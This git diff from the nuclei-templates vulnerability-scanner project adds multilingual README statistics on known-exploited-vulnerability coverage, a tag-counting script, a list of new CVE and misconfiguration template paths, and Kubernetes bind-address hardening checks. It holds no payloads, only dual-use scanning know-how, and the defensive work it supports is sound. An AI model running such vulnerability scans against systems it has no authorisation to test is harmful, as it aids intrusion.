fix matcher

Create exposed-gitattributes.yaml
chore: generate new addition list 🤖
2026-11-07 08:36:19 -10:00 · 2025-11-26 13:44:53 +05:30 · 2025-11-26 13:39:03 +05:30 · 2025-11-26 08:01:40 +00:00 · 2025-11-26 08:01:19 +00:00 · 2025-11-26 08:01:18 +00:00
3692 changed files with 20443 additions and 12527 deletions
@@ -36,7 +36,21 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 {get_top10()}

@@ -42,7 +42,21 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---

 {get_top10()}

@@ -37,7 +37,21 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
+
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
+
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---

 {get_top10()}

@@ -39,7 +39,21 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
+
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---

 {get_top10()}

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Count KEV and vKEV templates for README statistics
+
+This script counts the number of templates with 'kev' and 'vkev' tags
+and outputs the statistics in a format suitable for the README.
+"""
+
+import re
+import sys
+from pathlib import Path
+from typing import Dict, Set
+
+
+def has_tag_in_file(file_path: Path, tag: str) -> bool:
+    """Check if a template file has a specific tag."""
+    try:
+        with open(file_path, 'r', encoding='utf-8') as f:
+            content = f.read()
+
+        # Look for tags field and check if tag is present
+        tags_match = re.search(r'tags:\s*([^\n]+)', content)
+        if tags_match:
+            tags_str = tags_match.group(1)
+            # Check for tag as a standalone tag (not part of another word)
+            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
+                return True
+    except Exception as e:
+        print(f"Error reading {file_path}: {e}", file=sys.stderr)
+
+    return False
+
+
+def count_kev_templates(root_dir: str) -> Dict[str, int]:
+    """Count templates with KEV and vKEV tags."""
+    root_path = Path(root_dir)
+
+    # Find all YAML template files
+    patterns = [
+        "**/*.yaml",
+        "**/*.yml"
+    ]
+
+    all_files = set()
+    for pattern in patterns:
+        all_files.update(root_path.glob(pattern))
+
+    # Filter out non-template files
+    template_files = [
+        f for f in all_files
+        if '/workflows/' not in str(f)
+        and '/.github/' not in str(f)
+        and '/profiles/' not in str(f)
+    ]
+
+    kev_count = 0
+    vkev_count = 0
+    both_count = 0
+    kev_only_count = 0
+    vkev_only_count = 0
+
+    kev_files = set()
+    vkev_files = set()
+
+    for template_file in template_files:
+        has_kev = has_tag_in_file(template_file, 'kev')
+        has_vkev = has_tag_in_file(template_file, 'vkev')
+
+        if has_kev:
+            kev_count += 1
+            kev_files.add(template_file)
+
+        if has_vkev:
+            vkev_count += 1
+            vkev_files.add(template_file)
+
+        if has_kev and has_vkev:
+            both_count += 1
+        elif has_kev:
+            kev_only_count += 1
+        elif has_vkev:
+            vkev_only_count += 1
+
+    return {
+        'kev_total': kev_count,
+        'vkev_total': vkev_count,
+        'both': both_count,
+        'kev_only': kev_only_count,
+        'vkev_only': vkev_only_count,
+        'total_templates': len(template_files)
+    }
+
+
+def main():
+    """Main entry point."""
+    root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
+
+    stats = count_kev_templates(root_dir)
+
+    # Output in a format that can be easily parsed
+    print(f"KEV_TOTAL={stats['kev_total']}")
+    print(f"VKEV_TOTAL={stats['vkev_total']}")
+    print(f"BOTH={stats['both']}")
+    print(f"KEV_ONLY={stats['kev_only']}")
+    print(f"VKEV_ONLY={stats['vkev_only']}")
+    print(f"TOTAL_TEMPLATES={stats['total_templates']}")
+
+    # Also print human-readable summary to stderr for logging
+    print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
+    print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
+    print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
+    print(f"Templates in both: {stats['both']}", file=sys.stderr)
+    print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
+    print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
+    print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()
@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 import glob
 import subprocess
+import re

 def countTpl(path):
 	return len(glob.glob(path + "/*.*"))
@@ -13,8 +14,38 @@ def get_top10():
 	TOP10 = command(["cat", "TOP-10.md"])
 	return HEADER + TOP10 if len(TOP10) > 0 else ""

+def get_kev_stats():
+	"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
+	try:
+		result = subprocess.run(
+			["python3", ".github/scripts/count-kev-stats.py"],
+			text=True,
+			capture_output=True,
+			timeout=120
+		)
+
+		# Parse the output
+		stats = {}
+		for line in result.stdout.strip().split('\n'):
+			if '=' in line:
+				key, value = line.split('=')
+				stats[key.lower()] = int(value)
+
+		return stats
+	except Exception as e:
+		print(f"Error getting KEV stats: {e}")
+		return {
+			'kev_total': 0,
+			'vkev_total': 0,
+			'both': 0,
+			'kev_only': 0,
+			'vkev_only': 0,
+			'total_templates': 0
+		}
+
 if __name__ == "__main__":
 	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	kev_stats = get_kev_stats()
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
@@ -2,7 +2,7 @@ name: 📝 Readme Update

 on:
  workflow_run:
-    workflows: ["🗒 Templates Stats"]
+    workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
    types:
      - completed
  workflow_dispatch:
@@ -1,26 +1,52 @@
-CVE-2024-28623.yaml
-code/cves/2024/CVE-2024-47575.yaml
-http/cves/2018/CVE-2018-6882.yaml
-http/cves/2019/CVE-2019-11507.yaml
-http/cves/2021/CVE-2021-45467.yaml
-http/cves/2022/CVE-2022-26143.yaml
-http/cves/2023/CVE-2023-2437.yaml
-http/cves/2023/CVE-2023-34048.yaml
-http/cves/2024/CVE-2024-10146.yaml
-http/cves/2024/CVE-2024-11238.yaml
-http/cves/2024/CVE-2024-27443.yaml
-http/cves/2024/CVE-2024-4180.yaml
-http/cves/2024/CVE-2024-6690.yaml
-http/cves/2025/CVE-2025-24354.yaml
-http/cves/2025/CVE-2025-41243.yaml
-http/cves/2025/CVE-2025-54236.yaml
-http/cves/2025/CVE-2025-54253.yaml
-http/cves/2025/CVE-2025-5605.yaml
-http/cves/2025/CVE-2025-59287.yaml
-http/cves/2025/CVE-2025-6174.yaml
-http/cves/2025/CVE-2025-61884.yaml
-http/misconfiguration/aem/aem-dispatcher-bypass.yaml
-http/misconfiguration/aem/aem-querybuilder-bypass.yaml
-javascript/misconfiguration/mqtt-uauth-broker.yaml
-javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
-network/cves/2024/CVE-2024-23108.yaml
+dast/vulnerabilities/xss/csp-bypass/jquery-cdn-csp-bypass.yaml
+file/malware/shai-hulud-supply-chain.yaml
+headless/cves/2025/CVE-2025-7901.yaml
+http/cves/2017/CVE-2017-14725.yaml
+http/cves/2017/CVE-2017-17092.yaml
+http/cves/2017/CVE-2017-5983.yaml
+http/cves/2018/CVE-2018-13317.yaml
+http/cves/2019/CVE-2019-19822.yaml
+http/cves/2019/CVE-2019-19823.yaml
+http/cves/2019/CVE-2019-19825.yaml
+http/cves/2021/CVE-2021-34427.yaml
+http/cves/2022/CVE-2022-29081.yaml
+http/cves/2023/CVE-2021-4449.yaml
+http/cves/2024/CVE-2024-20404.yaml
+http/cves/2024/CVE-2024-53995.yaml
+http/cves/2025/CVE-2025-11700.yaml
+http/cves/2025/CVE-2025-11833.yaml
+http/cves/2025/CVE-2025-12055.yaml
+http/cves/2025/CVE-2025-27915.yaml
+http/cves/2025/CVE-2025-49706.yaml
+http/cves/2025/CVE-2025-55523.yaml
+http/cves/2025/CVE-2025-61757.yaml
+http/cves/2025/CVE-2025-64525.yaml
+http/cves/2025/CVE-2025-64764.yaml
+http/cves/2025/CVE-2025-9316.yaml
+http/default-logins/traggo-default-login.yaml
+http/default-logins/vtigercrm-default-login.yaml
+http/exposures/files/vtigercrm-data-exposed.yaml
+http/miscellaneous/crypto-address-detect.yaml
+http/misconfiguration/aem/aem-anonymous-write.yaml
+http/misconfiguration/microsoft/sharepoint-layouts-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-masterpage-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-site-metadata-disclosure.yaml
+http/misconfiguration/microsoft/sharepoint-sitepages-disclosure.yaml
+http/misconfiguration/nginx/nginx-status-403-bypass.yaml
+http/misconfiguration/unauth-akhq-dashboard.yaml
+http/misconfiguration/unauth-hawkeye-dashboard.yaml
+http/misconfiguration/unauth-kafka-config-editor.yaml
+http/technologies/agent-zero-detect.yaml
+http/technologies/cisco-finesse-detect.yaml
+http/technologies/microsoft/sharepoint-web-services-discovery.yaml
+http/technologies/nostromo-detect.yaml
+http/technologies/odoo-detect.yaml
+http/technologies/traggo-server-detect.yaml
+http/technologies/vtigercrm-detect.yaml
+http/technologies/winstone-detect.yaml
+http/vulnerabilities/wordpress/wp-security-hidden-login-exposure.yaml
+http/vulnerabilities/wordpress/wp-twenty-theme-fpd.yaml
+http/vulnerabilities/wordpress/wp-twentysixteen-fpd.yaml
+http/vulnerabilities/wordpress/wp-twentytwenty-fpd.yaml
+http/vulnerabilities/wp-functions-php-disclosure.yaml
+http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
@@ -1,4 +1,4 @@
-### Template / PR Information
+### PR Information

 <!-- Explains the information and/or motivation for update or/ creating this templates -->
 <!-- Please include any reference to your template if available -->
@@ -6,17 +6,17 @@
 - Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
 - References:

-### Template Validation
+### Template validation

-I've validated this template locally?
- [ ] YES
- [ ] NO
+<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
+<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->

+- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
+- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)

 #### Additional Details (leave it blank if not applicable)

-<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
-<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
 <!-- Please do NOT include vulnerable host information in pull requests -->
 <!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->

@@ -25,4 +25,4 @@ I've validated this template locally?
 - [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -36,24 +36,38 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 ## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848 directories, 11344 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -42,24 +42,38 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei模板TOP10统计信息
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---
+
+## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  2877 | dhiyaneshdk   |  1477 | http       |  8219 | info     |  3948 | file |   404 |
-| panel     |  1246 | daffainfo     |   866 | file       |   404 | high     |  2135 | dns  |    25 |
-| wordpress |  1072 | dwisiswant0   |   803 | cloud      |   370 | medium   |  1840 |      |       |
-| exposure  |  1006 | princechaddha |   570 | workflows  |   192 | critical |  1197 |      |       |
-| xss       |   987 | ritikchaddha  |   496 | code       |   157 | low      |   287 |      |       |
-| wp-plugin |   936 | pussycat0x    |   453 | network    |   138 | unknown  |    43 |      |       |
-| osint     |   807 | pikpikcu      |   353 | javascript |    65 |          |       |      |       |
-| tech      |   745 | pdteam        |   302 | ssl        |    30 |          |       |      |       |
-| lfi       |   727 | ricardomaia   |   245 | dast       |    26 |          |       |      |       |
-| misconfig |   720 | geeknik       |   231 | dns        |    22 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**743 directories, 9960 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -37,24 +37,38 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei テンプレート トップ10統計
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ

-|    タグ    | 数   |    著者       | 数   |    ディレクトリ  | 数   | 重大度 | 数   |  種類   | 数   |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
-| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
-| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
-| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
-| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
-| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
-| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
-| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:

-**286個のディレクトリ、4012個のファイル**。
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -31,7 +31,7 @@ Nuclei 템플릿

 템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
 이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
-**pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내주시는 기여도 환영합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.

 ## Nuclei 템플릿 개요

@@ -39,24 +39,38 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei 템플릿 통계 Top 10
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위

-|    태그    | 개수 |    작성자     | 개수 |    디렉토리     | 개수 | 심각도 | 개수 |  종류   | 개수 |
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848개 디렉토리, 11344개 파일**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -0,0 +1,50 @@
+id: k8s-controller-manager-bind-address
+
+info:
+  name: Ensure kube-controller-manager --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
+    set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
+    exposure of the control-plane component.
+  impact: |
+    If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
+    interact with the controller-manager API, causing potential information leakage or enabling further attacks
+    against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-controller-manager"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-controller-manager'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: k8s-scheduler-bind-address
+
+info:
+  name: Ensure kube-scheduler --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
+    0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
+    control-plane component.
+  impact: |
+    If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
+    with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
